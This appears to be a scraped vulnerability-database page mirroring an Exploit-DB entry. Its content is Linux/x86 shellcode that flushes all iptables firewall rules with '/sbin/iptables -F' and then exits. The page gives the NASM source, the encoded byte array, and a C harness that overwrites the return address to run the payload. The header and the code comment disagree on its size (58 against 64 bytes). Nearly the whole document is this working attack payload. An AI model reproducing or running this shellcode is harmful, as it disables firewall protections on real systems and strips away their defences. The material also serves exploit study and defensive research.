https://www.exploit-db.com/exploits/43637
Linux/x86 - Flush IPTables Rules (/sbin/iptables -F) + exit() Shellcode (58 bytes)






漏洞ID | 1057136 | 漏洞类型 | |
发布时间 | 2009-01-01 | 更新时间 | 2009-01-01 |
![]() |
N/A | ![]() |
N/A |
漏洞平台 | Linux_x86 | CVSS评分 | N/A |
|漏洞来源
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* The shellcode flushs the iptables by running /sbin/iptables -F
then exit()
greetz to zilion: man, my code is shorter!
size = 64 bytes
OS = Linux i386
written by /rootteam/dev0id (rootteam.void.ru)
BITS 32
jmp short callme
main:
pop esi
xor eax,eax
mov byte [esi+14],al
mov byte [esi+17],al
mov long [esi+18],esi
lea ebx,[esi+15]
mov long [esi+22],ebx
mov long [esi+26],eax
mov al,0x0b
mov ebx,esi
lea ecx,[esi+18]
lea edx,[esi+26]
int 0x80
mov al,0x01
xor ebx,ebx
int 0x80
callme:
call main
db '/sbin/iptables#-F#'
*/
char shellcode[] =
"\xeb\x27\x5e\x31\xc0\x88\x46\x0e\x88\x46\x11\x89\x76\x12\x8d"
"\x5e\x0f\x89\x5e\x16\x89\x46\x1a\xb0\x0b\x89\xf3\x8d\x4e\x12"
"\x8d\x56\x1a\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xd4\xff\xff"
"\xff\x2f\x73\x62\x69\x6e\x2f\x69\x70\x74\x61\x62\x6c\x65\x73"
"\x23\x2d\x46\x23";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
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